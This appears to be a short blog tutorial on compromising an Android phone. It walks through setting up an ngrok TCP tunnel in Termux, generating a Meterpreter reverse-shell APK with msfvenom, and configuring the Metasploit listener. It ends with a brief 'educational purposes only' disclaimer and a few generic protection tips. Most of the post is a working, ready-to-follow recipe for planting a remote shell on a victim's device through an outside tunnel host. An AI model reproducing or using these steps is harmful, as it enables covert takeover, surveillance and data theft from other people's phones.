Devices and Tools:
- A non-rooted Samsung Galaxy J2 Pro with a 16GB microSD card connected to my wireless network.
- Termux Application on my Android Phone.
- Metasploit Framework.
- Mi Phone (It will act as a Victim Phone).
Disclaimer: This post is for educational purposes only Do not try this on an individual phone. All the tests I have done on my own phone.
1. How to install Ngrok in Termux:
Below Screenshot is my Ngrok Dashboard. Here this will provide you a token and it will act as Authorization for your TCP tunnel.
Download Link: Ngrok file
After downloading the file extract it and save it in the internal storage of your android phone /sd card/ngrok/ngrok
Note: Rename the file ngrok from ngrok-stable-Linux-arm
cp /sdcard/ngrok/ngrok $HOME: Copy the ngrok file in Home.
chmod +x ngrok : It means that you want to make the file executable.
cd..: When you type this command you will see two directories Home & Usr.
cp home/ngrok usr/bin: Copying the file from Home to Usr directory
After typing the above commands type ls and your ngrok file will be added to the user directory.
./ngrok authtoken <paste the copied authorization token here>
ngrok tcp 4444
Port forwarding is completed and now it’s time to create a payload.
2. Create a Payload in Metasploit:
./msfvenom -p android/meterpreter/reverse_tcp LHOST=”Copy from Ngrok’s Session” LPORT=”Copy from Ngrok’s Session” R > /sdcard/hackming.apk
I am taking it as an example you can type a given value near the 0.tcp.ngrok.io.
3. Use Metasploit Framework:
set payload android/meterpreter/reverse_tcp
set lhost Localhost
set lport 4444
How you can protect yourself?
- Only install apps and software from the google play store.
- Make sure you don’t have to enable installs from unknown sources enabled.
- Keep your phone with you at all times.
- Avoid opening any suspicious links in emails or messages.
Subscribe to my Newsfeed to get the latest post updates.